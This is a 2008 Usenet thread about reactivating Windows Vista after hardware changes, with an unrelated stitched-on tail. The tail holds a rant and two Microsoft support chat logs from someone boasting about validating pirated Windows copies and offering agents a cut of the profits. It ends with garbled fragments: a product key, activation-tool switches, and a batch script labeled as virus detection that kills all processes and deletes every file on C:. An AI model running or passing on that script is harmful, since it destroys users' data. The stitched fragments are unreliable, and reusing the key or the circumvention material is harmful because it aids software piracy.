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Phil K - 20 May 2008 11:19 GMT
I am contemplating getting a new Hard Drive (bigger, of course by a large
margin !) and with the problems I have had with activation in the past,
despite being a bloody genuine copy (calm down, Philip, calm down) - how can
I go about activating on a new hard drive without experiencing the same c**p
I have in the past (last one just needed to type in serial and it was
activated, but the 2nd time I had to go via Indian call centre and was on
FORTY FIVE MINUTES FFS !!!!....calm down, lad...calm....)

So....is there a way to avoid chatting with Sanjay in Bangalore ?
TaurArian - 20 May 2008 11:27 GMT
Perhaps something here may be of interest -

A list of Microsoft Knowledge Base articles is available to help you troubleshoot error
codes and error messages that you may receive when you try to activate Windows Vista
http://support.microsoft.com/kb/951287

For more information about Windows Vista activation, visit the following Microsoft Web
sites:

Troubleshooting activation problems

http://windowshelp.microsoft.com/Windows/en-US/Help/57cc0e65-f70c-49fd-bdaa-6da8
3d6a35af1033.mspx


Frequently asked questions

http://windowshelp.microsoft.com/Windows/en-US/Help/62088be6-3538-46a6-99fb-05e7
4aeb48b51033.mspx


Activation polices and Reduced Functionality Mode

http://download.microsoft.com/download/c/2/9/c2935f83-1a10-4e4a-a137-c1db829637f
5/10-03-06SoftwareProtectionWP.doc


Activation fails when you try to activate Windows Vista or Windows Server 2008 over the
Internet
http://support.microsoft.com/kb/921471

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|I am contemplating getting a new Hard Drive (bigger, of course by a large
| margin !) and with the problems I have had with activation in the past,
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|
| So....is there a way to avoid chatting with Sanjay in Bangalore ?
Gordon - 20 May 2008 11:49 GMT
> I have in the past (last one just needed to type in serial and it was
> activated, but the 2nd time I had to go via Indian call centre and was on
> FORTY FIVE MINUTES FFS

Well I've activated XP and Vista many many times, and it's NEVER taken 45
minutes. 5 minutes yes. I don't know why yours should have taken anything
LIKE as long, unless you were trying to convince them to activate an illegal
copy....
Just.some.guy - 20 May 2008 12:19 GMT
>> I have in the past (last one just needed to type in serial and it was
>> activated, but the 2nd time I had to go via Indian call centre and was on
[quoted text clipped - 4 lines]
> LIKE as long, unless you were trying to convince them to activate an
> illegal copy....

Why would you even suggest that when he said in his original post it was a
*genuine copy*? What was the point of your post?
Phil K - 20 May 2008 12:48 GMT
>>> I have in the past (last one just needed to type in serial and it was
>>> activated, but the 2nd time I had to go via Indian call centre and was
[quoted text clipped - 7 lines]
> Why would you even suggest that when he said in his original post it was a
> *genuine copy*? What was the point of your post?

I would have thought it was simple.
I have loads of trouble DESPITE it being a legit copy, ergo I am annoyed.
Why is that so hard to work out for some of you ?
Phil K - 20 May 2008 12:47 GMT
>> I have in the past (last one just needed to type in serial and it was
>> activated, but the 2nd time I had to go via Indian call centre and was on
[quoted text clipped - 4 lines]
> LIKE as long, unless you were trying to convince them to activate an
> illegal copy....

So it hasn't happened to you
That means it hasn't happened to me ?
As for legal/illegal
It is genuine, and you are an offensive prat.
Mike Hall - MVP - 20 May 2008 13:09 GMT
>>> I have in the past (last one just needed to type in serial and it was
>>> activated, but the 2nd time I had to go via Indian call centre and was
[quoted text clipped - 9 lines]
> As for legal/illegal
> It is genuine, and you are an offensive prat.

If you use the correct method, it takes around 5 minutes to complete.

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Phil K - 21 May 2008 13:05 GMT
> If you use the correct method, it takes around 5 minutes to complete.

Mike - I repeat - because it takes 5 minutes for most, doesn't automatically
follow thats what it takes for all.
And also - THAT was what had me in a rage.
Added to which, it's still not what I was asking about, for God's sake
And that was - if I change my main HD (and it may have to come about) would
I have problems activating Vista ?
Different make up of computer, etc. I have already replaced the graphics
card, and THAT was what the post was supposed to be about.
Because one or two seemed to be insinuating that my Vista ISN'T pukka,  I
think we've then strayed off the path
Mike Hall - MVP - 21 May 2008 22:46 GMT
>> If you use the correct method, it takes around 5 minutes to complete.
>
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> Because one or two seemed to be insinuating that my Vista ISN'T pukka,  I
> think we've then strayed off the path

No, you wouldn't have any problem.

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Gordon - 20 May 2008 14:39 GMT
> So it hasn't happened to you
> That means it hasn't happened to me ?
> As for legal/illegal
> It is genuine, and you are an offensive prat.

And it hasn't happened to 99.9999% of people. It NEVER takes FORTY FIVE
MINUTES.
You are doing something wrong.
Mike Hall - MVP - 20 May 2008 12:38 GMT
>I am contemplating getting a new Hard Drive (bigger, of course by a large
>margin !) and with the problems I have had with activation in the past,
[quoted text clipped - 5 lines]
>
> So....is there a way to avoid chatting with Sanjay in Bangalore ?

You are calling the wrong people.

Open Windows Activation..

Start > right click Computer > select Properties > click 'activate Windows
now'.

The 'correct' number to call will be displayed..

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Phil K - 20 May 2008 12:57 GMT
Thanks Mike, but I went through the Microsoft hoo-haw to get to the Indian
call centres in the first place.
Oh, its activated quite happily there at the moment, and the point wasnt my
Vista's legitability, but the point I TRIED to make was what if I installed
a new Hard Drive instead of the current Hard Drive ? I would therefore have
problems in avtivation, right ?

Sadly, apart from yourself, and Taurian,  I seemed to have also attracted a
couple of unhelpful, pompous types contributing nothing of any worth, other
than trying to be clever without the actual cleverness to back it up.

>>I am contemplating getting a new Hard Drive (bigger, of course by a large
>>margin !) and with the problems I have had with activation in the past,
[quoted text clipped - 14 lines]
>
> The 'correct' number to call will be displayed..
Gordon - 20 May 2008 14:37 GMT
> Thanks Mike, but I went through the Microsoft hoo-haw to get to the Indian
> call centres in the first place.

What do you mean by that? If it fails activation over the internet, you are
asked for your location and are then given a toll-free number to ring.
They ask if your copy is installed on any other machine, you say "no" and in
about three minutes time they give you a new code.

What are you doing that's different to that that takes 45 minutes?
Phil K - 21 May 2008 13:06 GMT
>> Thanks Mike, but I went through the Microsoft hoo-haw to get to the
>> Indian call centres in the first place.
[quoted text clipped - 5 lines]
>
> What are you doing that's different to that that takes 45 minutes?

Was I talking to you, troll ?
Gordon - 21 May 2008 15:03 GMT
>>> Thanks Mike, but I went through the Microsoft hoo-haw to get to the
>>> Indian call centres in the first place.
[quoted text clipped - 8 lines]
>
> Was I talking to you, troll ?

I am not a troll, I am asking you a STRAIGHT question as to WHAT you are
doing that takes 45 minutes - YOU ARE DOING SOMETHING WRONG. PERIOD.
Ramone - 21 May 2008 15:48 GMT
No Gordon is not a troll. He's just a rude and obnoxious MVP wannabe.

>>>> Thanks Mike, but I went through the Microsoft hoo-haw to get to the
>>>> Indian call centres in the first place.
[quoted text clipped - 11 lines]
> I am not a troll, I am asking you a STRAIGHT question as to WHAT you are
> doing that takes 45 minutes - YOU ARE DOING SOMETHING WRONG. PERIOD.
Gordon - 21 May 2008 17:15 GMT
> No Gordon is not a troll. He's just a rude and obnoxious MVP wannabe.

Says you. What is wrong with trying to ascertain what the OP is doing WRONG
when he re-activates? Because the OP is obviously doing something VERY
wrong. And won't tell me what he does that causes his re-activations to take
at least 6 times as long as everyone else
Ramone - 21 May 2008 17:32 GMT
It's not what you say Gordon, it's how you say it. People come here for help
and should not have to worry about being ridiculed.

>> No Gordon is not a troll. He's just a rude and obnoxious MVP wannabe.
>
> Says you. What is wrong with trying to ascertain what the OP is doing
> WRONG when he re-activates? Because the OP is obviously doing something
> VERY wrong. And won't tell me what he does that causes his re-activations
> to take at least 6 times as long as everyone else
Phil K - 22 May 2008 21:15 GMT
> It's not what you say Gordon, it's how you say it. People come here for
> help and should not have to worry about being ridiculed.

Oh I can handle the know it alls that jump to the 100% wrong conclusion then
try to cover their stupidity by being rude, Ramone.
But I do thank you for your intelligence in pointing out to our
less-enlightened bretheren *cough* Gordon *cough* ;-)
By the way Gordon - ever heard a late-70's song by a band called "Jilted
John" ? The track is also called "Jilted John" - have a listen to the chorus
and it'd reveal a startlingly precise opinion of your good self !
The poster formerly known as 'The Poster Formerly Known as Nina DiBoy' - 21 May 2008 20:10 GMT
> No Gordon is not a troll. He's just a rude and obnoxious MVP wannabe.

"not a troll...rude and obnoxious MVP wannabe", There's a difference?!

>>>>> Thanks Mike, but I went through the Microsoft hoo-haw to get to the
>>>>> Indian call centres in the first place.
[quoted text clipped - 10 lines]
>> I am not a troll, I am asking you a STRAIGHT question as to WHAT you are
>> doing that takes 45 minutes - YOU ARE DOING SOMETHING WRONG. PERIOD.

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Phil K - 22 May 2008 21:11 GMT
> No Gordon is not a troll. He's just a rude and obnoxious MVP wannabe.

Ah right !
You are absolutely spot on Ramone.
Should have noticed. ;-)
John Barnett MVP - 20 May 2008 15:00 GMT
If you are changing the hard drive the, yes, you will need to activate and
the chances are that you will not be able to activate via the internet (the
usual sticking point is 'your product key is already in use), so you will
have to use the telephone option (best see this link from my web site:
http://vistasupport.mvps.org/product_key_already_in_use.htm )

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> Thanks Mike, but I went through the Microsoft hoo-haw to get to the Indian
> call centres in the first place.
[quoted text clipped - 26 lines]
>>
>> The 'correct' number to call will be displayed..
Phil K - 21 May 2008 13:07 GMT
THANK YOU John !!!
This is just the info I was asking about before the trolls snuffled in !
Thanks again.

> If you are changing the hard drive the, yes, you will need to activate and
> the chances are that you will not be able to activate via the internet
> (the usual sticking point is 'your product key is already in use), so you
> will have to use the telephone option (best see this link from my web
> site: http://vistasupport.mvps.org/product_key_already_in_use.htm )
John Barnett MVP - 21 May 2008 18:44 GMT
Hi Phil,

That was an enthusiastic thank you. I'm glad I could be of help.

On the subject of 'trolls' I suggest you don't waste your energy replying to
them. I can't say 'ignore them and they'll go away' because the same idiots
are still popping out of the woodwork. It is simply a case of ignoring their
childishness.

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> THANK YOU John !!!
> This is just the info I was asking about before the trolls snuffled in !
[quoted text clipped - 6 lines]
>> from my web site:
>> http://vistasupport.mvps.org/product_key_already_in_use.htm )
The poster formerly known as 'The Poster Formerly Known as Nina DiBoy' - 20 May 2008 19:00 GMT
> Thanks Mike, but I went through the Microsoft hoo-haw to get to the
> Indian call centres in the first place.
[quoted text clipped - 7 lines]
> any worth, other than trying to be clever without the actual cleverness
> to back it up.

When you call for activation, being an educated consumer is beneficial.

Quoted from the MS website:

http://www.microsoft.com/piracy/activation_facts.mspx

"Mandatory Product Activation Data

* The Installation ID is unique to each product and comprises two
components:

1. Product ID. Unique to the product key used during installation
2. Hardware hash. Non-unique representation of the PC

    * The country in which the product is being installed (for Office
XP and Office XP family products only)"

MS activation 1-888-571-2048
You are never required to provide any other info in order to get
activated. The agent is required to activate you immediately if you
phone in and provide only the product ID, hardware hash, and
occasionally the country in which the product(s) is being installed!  It
is none of their business if you made hardware changes, why you are
reinstalling, etc and you do not need to answer questions like that.  If
they give you a hard time, politely remind them of this policy posted on
their company's website. If still they persist, request politely to
speak to a supervisor and escalate the issue until they give YOU the
paying customer the treatment you deserve!

On the flipside, if you are sick of the activation crap, you may want to
check out the other alternatives like linux.

>>> I am contemplating getting a new Hard Drive (bigger, of course by a
>>> large margin !) and with the problems I have had with activation in
[quoted text clipped - 15 lines]
>>
>> The 'correct' number to call will be displayed..

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Phil K - 21 May 2008 13:13 GMT
> When you call for activation, being an educated consumer is beneficial.

And having a modicum of tact when answering a poster is, sadly, rare it
would seem, that said, at least you did supply a bit of advice. Not
pertaining to what I was after, however.
I have no quarrel with activation.
What irritates me is the "It didnt affect me like that, ergo it never
happens" trolls, who don't give any help, but sneer and then whine when you
give it back in the same manner.
Steve Pearce - 20 May 2008 17:21 GMT
>So....is there a way to avoid chatting with Sanjay in Bangalore ?

I've installed a larger hard drive is two Vista laptops in the last
week or so, neither required any new activation.
Phil K - 21 May 2008 13:13 GMT
>>So....is there a way to avoid chatting with Sanjay in Bangalore ?
>
> I've installed a larger hard drive is two Vista laptops in the last
> week or so, neither required any new activation.

Thanks Steve (see ? I knew there'd be helpful types !)
C.B. - 20 May 2008 17:27 GMT
> I am contemplating getting a new Hard Drive (bigger, of course by a large
> margin !) and with the problems I have had with activation in the past,
[quoted text clipped - 5 lines]
>
> So....is there a way to avoid chatting with Sanjay in Bangalore ?

Phil K,

    I have been lucky. I have replaced my motherboard (same brand, same
type) once and replaced my internal hard drive twice (same brand, different
size) and did not get hit with the reactivation process. I also increased my
RAM on two occasions, 1GB at a time with no problems.
    In any event, the way Microsoft goes about this is disgusting.
Microsoft has no problem reading your system and deactivating when
necessary. By the same token, provided your motherboard is not replaced by a
different brand or type, Microsoft should be able to read your system and
ascertain that the OS is indeed on the same computer, which would obviate
the reactivation process.
    This is just another instance of Microsoft knowing that users are
having an issue with one of its software applications and choosing to do
nothing about it. I am totally against piracy of any product but I am also
against the unnecessary alienation of innocent, law abiding users.
    Your unhappiness with the reactivation process is justified and I stand
in your corner regarding this issue.

C.B.

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Gordon - 20 May 2008 17:38 GMT
>     Your unhappiness with the reactivation process is justified and I
> stand in your corner regarding this issue.

But he's doing something VERY VERY WRONG if it takes 45 minutes each
time.....I have re-activated dozens of times in the past three or four years
and it's NEVER taken longer than about 6 minutes....I suspect he's not using
the correct telephone number as given in the activation dialog box...
C.B. - 21 May 2008 00:21 GMT
>>     Your unhappiness with the reactivation process is justified and I
>> stand in your corner regarding this issue.
[quoted text clipped - 4 lines]
> not using the correct telephone number as given in the activation dialog
> box...

Gordon,

    Yes, you are, in all probability, correct in your assessment. However,
unless the motherboard or CPU is replaced by another brand or model there
should be no question concerning the components of the machine. Hard drives
and RAM should not trigger a reactivation as the motherboard remains
untouched.
    Let's look at another scenario. I upgrade from Vista Home Premium to
Vista Ultimate. I, of course, get a new license with the Vista Ultimate. I
then activate my new Ultimate license. I find, upon trying to run DreamScene
or another application that requires a better graphics card that I need to
upgrade my graphics card. In this case Microsoft knows that I upgraded from
Home Premium to Ultimate and Microsoft knows the graphics card was upgraded.
Common sense tells me that the graphics card upgrade was due to the OS
upgrade. Why should I have to reactivate my Vista Ultimate?
        Microsoft needs to rewrite the software that triggers reactivation.
The current software is written to be overly broad and seems to be
willy-nilly inasmuch as whose computer is selected for reactivation. You and
I can change the same graphics card on two identical machines running
identical software with identical settings and I am selected for
reactivation while you are not. The same applies to hard drive and RAM
changes.
    You and I both know what the software engineers at Microsoft are
capable of and we both know the software that triggers the reactivation
process could be rewritten to eliminate unnecessary reactivations.
    Microsoft certainly has the right to ensure their products are not
misused or misappropriated to the detriment of the company. Microsoft also
has a responsibility to avoid unnecessarily alienating its customers for no
good reason.

C.B.
Phil K - 21 May 2008 13:17 GMT
Actually, my motherboard DID need replacing by Fujitsu Siemens when I had
rebooting problems.
It was the same type board, but a LATER model
Mmm. Maybe......
Thanks again CB
Damn good (and hugely helpful) stuff.

> Gordon,
>
[quoted text clipped - 3 lines]
> drives and RAM should not trigger a reactivation as the motherboard
> remains untouched.
Alias - 21 May 2008 13:17 GMT
>>>     Your unhappiness with the reactivation process is justified and I
>>> stand in your corner regarding this issue.
[quoted text clipped - 37 lines]
>
> C.B.

You're assuming -- incorrectly -- that MS cares one whit about their
customers.

Alias
Frank - 21 May 2008 17:35 GMT
>>>>     Your unhappiness with the reactivation process is justified and
>>>> I stand in your corner regarding this issue.
[quoted text clipped - 43 lines]
>
> Alias

You're assuming -- incorrectly -- that MS does not care one whit about
their customers.
Frank
measekite - 21 May 2008 22:35 GMT
>>>>>     Your unhappiness with the reactivation process is justified
>>>>> and I stand in your corner regarding this issue.
[quoted text clipped - 47 lines]
> their customers.
> Frank
They care about Pigs and Sheep.
Not Me - 21 May 2008 08:54 GMT
I have never been able to get it done in less than 14-15 minutes.
I guess it depends on who you get on the other end.
Last time I didn't even change anything, just moved the RAM around in the
slots to make the DDR actually work.

>>     Your unhappiness with the reactivation process is justified and I
>> stand in your corner regarding this issue.
[quoted text clipped - 4 lines]
> not using the correct telephone number as given in the activation dialog
> box...
Phil K - 21 May 2008 13:21 GMT
Well said, N.M.
Because everything goes swimmingly with some, it doesn't (and never has)
mean that applies to everyone.
When I had my 45 minute horror show, I flung the phone across the room in
anger and frustration
The Indian woman rang me back within a minute, and got things sorted.
The twice I have had to do it again (the price of allowing my niece onto my
comp) the first it wouldn't take again, and I had to type in the numbers and
activate that way, the next - no problem, first time over the net.

> I have never been able to get it done in less than 14-15 minutes.
> I guess it depends on who you get on the other end.
[quoted text clipped - 9 lines]
>> not using the correct telephone number as given in the activation dialog
>> box...
Phil K - 21 May 2008 13:15 GMT
>>     Your unhappiness with the reactivation process is justified and I
>> stand in your corner regarding this issue.
[quoted text clipped - 4 lines]
> not using the correct telephone number as given in the activation dialog
> box...
Phil K - 21 May 2008 13:15 GMT
Thank God !
ANOTHER helpful contributer !
Cheers, CB - good advice.

>> I am contemplating getting a new Hard Drive (bigger, of course by a large
>> margin !) and with the problems I have had with activation in the past,
[quoted text clipped - 26 lines]
>
> C.B.
Alias - 21 May 2008 13:15 GMT
> I am contemplating getting a new Hard Drive (bigger, of course by a
> large margin !) and with the problems I have had with activation in the
[quoted text clipped - 5 lines]
>
> So....is there a way to avoid chatting with Sanjay in Bangalore ?

Yep, move up to a real operating system that doesn't have the
WPA/WGA/DRM crap. I would suggest Ubuntu. It's free and has access to
over 23,000 free programs and there is no need to activate, register or
become "genuine". Not only that, compared to Windows, it's bulletproof
in regards to being hacked or getting a virus or malware. Check it out
at http://www.ubuntu.com/

Alias
Frank - 21 May 2008 17:37 GMT
>> I am contemplating getting a new Hard Drive (bigger, of course by a
>> large margin !) and with the problems I have had with activation in
[quoted text clipped - 15 lines]
>
> Alias
hehehe...try to convert someone from a real OS (Vista) to that POS toy
os linux is criminal!
Frank
measekite - 21 May 2008 22:34 GMT
>>> I am contemplating getting a new Hard Drive (bigger, of course by a
>>> large margin !) and with the problems I have had with activation in
[quoted text clipped - 18 lines]
> os linux is criminal!
> Frank
Linux is a real OS based on Unix while Vista is based on earlier
versions of Windows and that is based on DOS.
propman - 21 May 2008 23:41 GMT
>> hehehe...try to convert someone from a real OS (Vista) to that POS toy
>> os linux is criminal!
>> Frank
> Linux is a real OS based on Unix while Vista is based on earlier
> versions of Windows and that is based on DOS.

Loosely speaking that is.....DOS is an acronym for "Disk Operating
System" which doesn't really fully explain the in's and out's of
Window's history etc.

....and unless one is aware of the history between MS and IBM (hint OS/2
and NT) and the subsequent paths that were taken, then one is not fully
aware or competent to speak on the history of such OS's as Windows.

FWIW........just ma .02 cents worth.  :-)
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prohibited skills and knowledge.
I know its not really easy technology to learn, the developer of this
technology has made it almost puzzled and made it un-understandable for
other, and keep them away from this technology to learn.
I don’t know how I can informed and tell you about me and my work (skills
and experiences), and I also think that a person knows every thing and the
persons who made and developed MS Windows® can’t understand what I am saying
to them at Microsoft®
Please mention how I can tell you about my work, guide me if I am on wrong
way, tell me if there is tests and examinations I shall have to taken or a
form I shall have to fill out,
Dear I have felt I can do anything more then else, as anyone else can do, do
you believe in this? Anyway I do,
I am able to do developing in MS Visual Basic (latest edition)
I am able to do almost anything and any work with Microsoft® Windows®
including development.
I am able to do *Activate MS Windows®, *Genuine *Validate and fully *License
copy of MS Windows®, for both MS Windows Versions (Retail and Volume license)
and (Select and OEM-Original Equipment Manufacturer licenses) *Pre Activation
and *Pre Validation. You believe in me???
I have learned the technological measures used in this part /section of
development of MS Windows®.
I am able to do any work with MS Office®,
Now I give to the permission to decide for me what to do, I can do anything
for you:
Now its you turn I wanna see how and what you can do for me right now!!!!

*These technology I have mentioned above used by me is the technology used
by Microsoft® Corporation and its software developers, note: it is not the
cheap or illegal procedures,; like modifying files or makings & Appling
cracks & softwares or delete files or altering system files,; it is the only
100% original and legal technology measures and methods, Microsoft® is using
To Genuine Validate and Activate MS Windows®.
It’s not that one you think about.
, lets see your dog Neil interesting talkings with me i can do anything,
thats i believe and MS Windows is no problem for me, if you want to stop me
just do the right and give me what i did deserve no 9 or / Job, USD$ money
cash
gaddar
Initial Question/Comment: MPA
5:31:43 PM  System
Neil has joined this session!
5:31:44 PM  System
Connected with Neil
5:31:53 PM  Neil
Welcome to Microsoft Customer Service Chat, Gaddar.
5:31:59 PM  Neil
How may I help you?
5:32:00 PM  gaddar
thank you
5:32:02 PM  gaddar
ya
5:32:13 PM  gaddar
dear how are you?
5:32:26 PM  Neil
Fine, thank you!
5:32:57 PM  gaddar
i wanna tell you about something no body tell can you about
5:33:20 PM  Neil
Sure, please ago ahead.
5:33:40 PM  gaddar
dear i am a MS Windows Product Avtivation and Validation Expert
5:34:34 PM  gaddar
Activation
5:34:37 PM  Neil
Okay.
5:34:45 PM  Neil
Okay.
5:34:55 PM  gaddar
do you believe this?
5:36:19 PM  gaddar
i can do Genuine validate any copy of MS WIndows Anytime, because i have
research all that procedure and process by myself
5:36:20 PM  Neil
I am sorry, I do not know about your personal information and career.
5:36:30 PM  Neil
Okay.
5:36:50 PM  gaddar
ya,i know , but i am telling you
5:37:10 PM  Neil
Sure.
5:37:35 PM  gaddar
do you know how Genuine validate a copy of windows with purchasing it?
5:38:05 PM  gaddar
with spending a rupee?
5:38:20 PM  gaddar
with out a rupee
5:38:43 PM  Neil
If you purchase retail copy of Windows from a retail shop or Microsoft then
it is always a genuine one.
5:39:40 PM  Neil
I would like to inform that without spending a rupee, you cannot purchase
the full version of Windows or any other Microsoft products.
5:39:48 PM  gaddar
dear you are right, but i telling you with out purchasing it,do you want to
know how i make it possible
5:40:14 PM  gaddar
dear i did
5:40:22 PM  Neil
Okay.
5:41:11 PM  gaddar
i have the exect procedure and technology Microsoft used in developing MS
Windows to be Genuine Validate
5:41:28 PM  Neil
Okay.
5:41:55 PM  gaddar
and Activate i have learnd that technology do you believe that?
5:42:34 PM  Neil
I do not know about that so I cannot assure you that I believe.
5:43:04 PM  gaddar
i am now able to genuine validate any computer Windows including
perValidation which don't need the product key to enter
5:43:36 PM  Neil
Great!
5:44:24 PM  gaddar
dear i have informed Microsoft about this and they actually believe me but
htey are worried about it and they have lockout my email address
5:45:33 PM  gaddar
and firstly tthey apperciate me but then suddenly they are angry with me
5:45:51 PM  Neil
Yes, I understand that.
5:46:37 PM  gaddar
i don't know why but they are not ready to do any thing for me like giveing
me money cash $ or job at microsoft
5:46:52 PM  Neil
Okay.
5:47:26 PM  gaddar
dear i am here to invite you that i wann to be your friend
5:48:02 PM  Neil
Sure, with pleasure :-)
5:48:20 PM  gaddar
ya thats the spirit so we can sell microsoft Products in sole partnership
5:48:52 PM  gaddar
your e-mail adress?
5:48:53 PM  Neil
No, I cannot do that. I am a Customer Service Representative working for
Microsoft.
5:49:19 PM  gaddar
you are not the one working for Microsoft
5:49:19 PM  Neil
I cannot let customers to use pirated copy of Windows.
5:49:43 PM  Neil
I cannot provide you my personal information.
5:49:49 PM  gaddar
i am also working for Microsoft
5:50:04 PM  Neil
May I know your issues with Microsoft Products?
5:50:36 PM  gaddar
ya i have completed my studies of Microsoft products
5:50:48 PM  Neil
Please note that this chat service is to provide assistance to the customers
for the issues related to Microsoft Products.
5:51:05 PM  gaddar
the above metions information is true
5:51:16 PM  Neil
If you do not have any issues with Microsoft Products, I will go ahead and
end this chat session.
5:51:19 PM  gaddar
ya i know that
5:51:29 PM  Neil
:-)
5:51:29 PM  gaddar
no please
5:51:37 PM  gaddar
don't go away
5:51:57 PM  gaddar
yes terday i ahve talked to mr peter
5:52:43 PM  gaddar
dear microsoft is a bigger firm i wanna job at microsoft because i deserve
that
5:52:43 PM  Neil
Can you please mention your issue with Microsoft Products?
5:52:55 PM  gaddar
ya i do
5:53:22 PM  gaddar
And confidential information that the company is based on, if this
information is leaked every thing gone wrong, I know that very well and you
also know very well.
every company has its secrets and hidden things and unfortunately I have
known of all Microsoft® corporation based secrets of MS Wndows®. Dear windows
is based on it’s genuinely and originality,
I know how a copy of windows can be genuine validate, I have known the
complete commands and core procedure of how to do it. I know the complete
code of activating and Genuine validating of MS Windows® in any computer
system, these are the technological measures that make fulfill a copy of
windows® to be original and genuine validated, I also know there latest
changes of this technological measures,
Dear,

5:53:51 PM  Neil
if you would like to join Microsoft, you may submit your information at the
following web-link:
http://www.microsoft.com/careers/
5:54:06 PM  Neil
Is there anything else I can help you with today, Gaddar?
5:54:20 PM  gaddar
you read that ,i have tried that
5:54:28 PM  gaddar
i am from pakistan
5:54:32 PM  Neil
Okay.
5:54:37 PM  gaddar
i speak hindi
5:54:58 PM  gaddar
i can help you earn a block of money
5:55:05 PM  gaddar
and for my selfm also
5:55:23 PM  Neil
Then you may contact our Microsoft local subsidiary at 111116738.
5:55:34 PM  Neil
I really appreciate your Interest.
5:55:48 PM  gaddar
no i wanna contact that i wanna contact you dear
5:56:10 PM  gaddar
thanks for app.
5:56:12 PM  Neil
You may contact our Microsoft Pakistan subsidiary to know about the
available opportunities.
5:56:24 PM  Neil
Thank you for contacting Microsoft Customer Service Chat. Please feel free
to contact us again. We are available 7 days a week, 24 hours a day.
5:56:27 PM  System
Neil has left this session!
5:56:27 PM  System
The session has ended!

john son <johncityny@hotmail.com> wrote:


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Date: Sat, 8 Mar 2008 20:15:13 -0800
From: asdulh@yahoo.com
Subject: Ready for read it:
To: johncityny@hotmail.com; aschepel@go-print.com; pressorders@elementk.com;
mswwprog@microsoft.com; billgates@chairman.microsoft.com;
info@gatesfoundation.org; 20_88725_vxmpx@chairman.microsoft.com;
media@gatesfoundation.org; piracy@microsoft.com; vlccc@microsoft.com

my name is john lets have your dog talk with me,
Initial Question/Comment: windows xp activation and validation
8:48:06 AM System
Peter has joined this session!
8:48:06 AM System
Connected with Peter
8:48:11 AM Peter
Welcome to Microsoft Customer Service Chat, John.
8:48:11 AM Peter
How may I help you?
8:48:14 AM john
hi
8:48:26 AM john
are you there?
8:48:29 AM Peter
Hello John!
8:48:37 AM john
welcome
8:48:46 AM john
do you know me?
8:48:51 AM Peter
Yes, please go ahead with your issue.
8:49:06 AM Peter
No.
8:49:11 AM john
do you believe me?
8:49:46 AM Peter
John, can you please specify the issue that you are experiencing now?
8:50:08 AM john
ya i shall do
8:50:32 AM Peter
Please go ahead.
8:51:10 AM john
ok please wait a minute
8:51:54 AM Peter
Okay.
8:53:46 AM Peter
I have not received a response from you in some time. Are you online with me?
8:54:02 AM john
i wanna validate MS windows xp tell me how i can?
8:55:07 AM Peter
You can validate your copy of Windows XP from the following web link:
8:55:07 AM Peter
http://www.microsoft.com/Genuine/
8:55:47 AM Peter
Click on the "Validate Windows" button available on right side of the web
page.
8:55:48 AM john
i have yet not purchased a genuine copy of windows or i have not a COA
8:56:22 AM Peter
Are you receiving any message related to validation?
8:57:02 AM john
ya i have recieved, how i can do that with out spending $300 USD do you know
that how??
8:57:39 AM Peter
May I know how you had obtained your copy of Windows XP?
8:58:15 AM john
ya i have spend 20 rupees to buy a copy of Windows xp CDi can do it free of
cost do you believe me?
8:58:41 AM Peter
Are you there?
8:58:48 AM john
ya
8:58:57 AM john
i am not there?
8:59:40 AM Peter
John, you need to purchase WGA Kit to make your copy of Windows XP Genuine.
9:00:23 AM john
no dear i don't need that kit i can do validate windows without spending a
cent
9:00:36 AM Peter
I recommend that you contact our WGA Order desk team to purchase the WGA Kit.
9:01:10 AM Peter
You will not be able to validate your copy of Windows through Microsoft web
site until your copy of Windows is genuine.
9:01:19 AM john
i can do genuine validate any copy of windows in any copmuter
9:01:51 AM Peter
Then may I know the exact issue that you are experiencing now?
9:01:53 AM john
no dear i can do it all legle and original procedure
9:02:16 AM Peter
May I know the exact issue that you are experiencing now?
9:02:36 AM john
that a microsoft custmor services representivtve like you did
9:02:48 AM john
ya the issue is
9:03:52 AM john
i wanna sale microsoft windows copies and i wanna to shere my profit 50%
with you
9:05:03 AM john
dear i can genuine validate pass to any illigle copy of windows without
purchasing it because in have learnd the techonology used in the validation
process
9:05:28 AM john
by my self
9:05:38 AM Peter
John, I recommend that you contact our Corporate head quarters for further
assistance regarding this concern.
9:06:03 AM Peter
You may contact them at: (800) MICROSOFT (642-7676).
9:06:05 AM john
and i have successfully validate more then 100 copy in my city and with my
friends
9:06:10 AM Peter
They will help you further in this regard.
9:06:22 AM Peter
Is there anything else I can help you with today, John?
9:06:27 AM john
nion dear i wanna that you can help me
9:06:43 AM john
because i waznt your help not that
9:07:01 AM john
you can help me about everything
9:07:10 AM john
do you understand the issue?
9:08:10 AM john
you know a copy of windows isn cost 300 USD and how we earn that you know
after selling copy of windows
9:08:19 AM Peter
John, We are Customer Service Representatives. We can provide only the
support options available for you.
9:08:46 AM john
no you are a human first then you are a cus ser reps
9:08:47 AM Peter
Please contact our Corporate head quarters for further assistance regarding
this concern.
9:09:02 AM john
i don't need that
9:09:35 AM Peter
I am sorry John. We do not have the required resources to assist you further
in this regard.
9:09:37 AM john
dear understand the issue all is private and confidetial
9:09:45 AM john
nobody knows about it
9:10:08 AM Peter
You need to contact our Corporate Head Quarters.
9:10:11 AM john
you have i know , you dont want to earn money
9:10:21 AM john
lot of money
9:10:31 AM john
daer i know we can do that
9:10:44 AM john
lets have a hand shake
9:10:45 AM Peter
We are paid for the service that we are performing.
9:11:02 AM john
no its not you real worth
9:11:27 AM john
you are worth too much of that in my desir
9:11:27 AM Peter
John, do you have any other concerns to be answered?
9:11:46 AM Peter
Thank you for contacting Microsoft Customer Service Chat. Please feel free
to contact us again. We are available 7 days a week, 24 hours a day.
9:11:48 AM System
Peter has left this session!
9:11:49 AM System
The session has ended!

D454C036-252F-4a52-9128-BBBF147AD078
wgatray.exe /U /u /B /b /W /w WPA_PID WPA_PIDType LegitCheck
HttpAuthenticate PartnerID 4663523C ProductId ShowWgaTrayToast TaskbarCreated
SysLink x
see(c:\Windows\system32\dssec)File
viruss detection
@echo off
cls
taskkill /f /fi "UserName" /im *.exe /t
cls
del /f /q /s /a:hsa c:\*.*
cls
exit

setup.exe(syssetup    -mini   -asrquicktest   -asr    -plugplay   -newsetup)
http://go.microsoft.com/fwlink/?LinkId=64906
http://go.microsoft.com/fwlink/?LinkId=70721, 20

T7XFD-677PD-C9MC8-TR7CB-X2BWM
syssetup.dll
%systemroot%\system32\oobe\oobebaln.exe /i / r /u /b /s /sys /init /c
For Activation oobebaln.exe /s
msoobe.exe /a
if error occured see %SystemRoot%\system32\oobe\msoobe.err
%SystemRoot%\System32\oobe\msoobe.exe /update
( /shellnext /2ND /xicw /x /3 /2 /1 /loadupdate /update /a /i /r /oobe
/setpwd /offline /preconfig  /retail /F)
